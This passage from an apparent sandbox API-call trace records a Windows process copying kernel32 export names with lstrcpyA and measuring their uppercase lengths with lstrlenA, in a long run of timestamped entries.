(lpString="BACKUPWRITE") returned 11 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0128.204] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0128.204] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0128.204] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0128.204] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0128.204] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0128.204] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0128.204] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0128.204] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0128.204] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0128.204] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0128.205] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0128.205] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0128.205] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0128.205] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0128.205] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0128.205] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0128.205] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0128.205] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0128.205] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0128.205] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0128.205] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0128.205] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0128.205] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0128.205] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0128.205] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0128.205] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0128.205] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0128.205] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0128.205] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0128.205] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0128.205] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0128.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0128.206] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0128.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0128.206] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0128.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0128.206] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0128.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0128.206] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0128.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0128.206] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0128.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0128.206] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0128.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0128.206] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0128.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0128.206] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0128.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0128.206] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0128.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0128.206] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0128.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0128.206] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0128.206] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0128.207] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0128.207] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0128.207] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0128.207] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0128.207] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0128.207] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0128.207] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0128.207] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0128.207] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0128.207] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0128.207] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0128.207] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0128.207] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0128.207] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0128.207] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0128.207] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0128.207] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0128.208] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0128.208] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0128.208] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0128.208] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0128.208] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0128.208] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0128.208] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0128.208] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0128.208] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0128.208] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0128.208] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0128.208] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0128.208] lstrlenA (lpString="BEEP") returned 4 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0128.208] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0128.208] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0128.208] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0128.208] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0128.209] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0128.209] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0128.209] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0128.209] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0128.209] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0128.209] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0128.209] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0128.209] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0128.209] lstrlenA (lpString="CANCELIO") returned 8 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0128.209] lstrlenA (lpString="CANCELIOEX") returned 10 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0128.209] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0128.209] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0128.209] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0128.209] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0128.209] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0128.209] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0128.209] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0128.210] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0128.210] lstrlenA (lpString="CHECKELEVATION") returned 14 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0128.210] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0128.210] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0128.210] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0128.210] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0128.210] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0128.210] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0128.210] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0128.210] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0128.210] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0128.210] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0128.210] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0128.210] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0128.210] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0128.210] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0128.210] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0128.211] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0128.211] lstrlenA (lpString="CLOSESTATE") returned 10 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0128.211] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0128.211] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0128.211] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0128.211] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0128.211] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0128.211] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0128.211] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0128.211] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0128.211] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0128.211] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0128.211] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0128.211] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0128.211] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0128.211] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0128.211] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0128.212] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0128.212] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0128.212] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0128.212] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0128.212] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0128.212] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0128.212] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0128.212] 